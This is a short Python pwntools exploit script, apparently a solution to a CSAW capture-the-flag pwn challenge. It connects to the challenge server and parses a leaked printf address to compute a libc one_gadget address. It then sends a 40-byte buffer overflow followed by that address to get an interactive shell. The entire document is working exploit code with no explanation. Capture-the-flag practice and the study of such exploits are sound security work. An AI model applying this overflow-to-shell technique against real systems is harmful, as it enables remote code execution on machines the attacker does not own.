```
from pwn import *

r=remote('pwn.chal.csaw.io', 1005)

r.recvuntil('am: ')

printf_addr=int(r.recvline().strip(),16)

libc=ELF('libc-2.27.so')

one_gadget = printf_addr - libc.symbols['printf'] + 0x4f2c5

r.sendline(40*'a'+p64(one_gadget))

r.interactive()
```